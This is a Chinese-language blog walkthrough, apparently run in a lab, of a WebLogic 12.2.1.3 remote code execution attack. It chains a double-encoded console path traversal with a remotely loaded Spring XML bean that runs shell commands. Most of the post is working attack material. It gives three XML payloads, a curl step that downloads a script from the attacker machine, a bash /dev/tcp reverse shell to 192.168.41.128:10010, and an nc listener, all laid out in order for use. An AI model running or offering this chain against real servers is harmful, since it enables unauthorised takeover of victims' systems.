Weblogic漏洞 - 通杀方式


[linux] WebLogic Server 版本: 12.2.1.3

简介

最早在 CVE-2019-2725 被提出,对于所有Weblogic版本均有效。
构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如 http://example.com/rce.xml

通过 bash-c touch 命令写入 success3 的恶意 .xml文件

恶意文件

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success3]]></value>
          </list>
        </constructor-arg>
    </bean>
 </beans>

把恶意文件部署到攻击机,并开启http服务

cat shell.xml

python3 -m http.server
#开启http服务,需要weblogic加载到此地址

写入文件

利用构造好的poc,使目标机器请求恶意的xml文件

http://目标机器ip:端口/console/css/%252e%252e%252fconsole.portal?_
nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击机IP:端口/shell.xml")

攻击机上有请求记录则攻击成功

去目标机器上看看,success3 是否被写入成功

docker exec -it 容器ID /bin/bash

#进入docker容器

能写入文件,那就可以写入反弹sell的命令直接拿到对方服务器权限

注意:缺点是需要 Weblogic 的服务器能够访问到恶意XML。

写入反弹shell命令

创建shell1.xml 恶意文件

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
	    <value>-c</value>
            <value><![CDATA[curl 192.168.41.128:8000/shell.sh -o /tmp/shell.sh]]></value>
          </list>
        </constructor-arg>
    </bean>
 </beans>

创建 shell.sh 反弹shell的命令文件

touch shell.sh

vim shell.sh

bash -i >& /dev/tcp/192.168.41.128/10010 0>&1

开启http服务

python3 -m http.server

利用以下构造好的poc,进行反弹shell的操作

http://目标机器ip:端口/console/css/%252e%252e%252fconsole.portal?_
nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击机IP:端口/shell1.xml")

攻击机上可以看到,不仅请求了 shell1.xml 还请求了 shell.sh 文件

目标机器里查看 shell.sh 文件一句被写入进,这个文件里面就是反弹shell的命令

既然已经写入进去,接下来要做的就是,通过构造好的poc执行脚本,执行 shell.sh 文件

执行反弹shell命令

命名为 shell2.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
	    <value>-c</value>
            <value><![CDATA[bash /tmp/shell.sh]]></value>
          </list>
        </constructor-arg>
    </bean>
 </beans>

接下来让weblogic请求以下shell2.xml 文件

http://192.168.41.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.41.128:8000/shell2.xml")

攻击机开启监听10010端口,等待目标机器反弹shell

nc -lvvp 10010

拿到目标机器权限

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透测试小白

如果您觉得满意,一分一毛也是爱

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值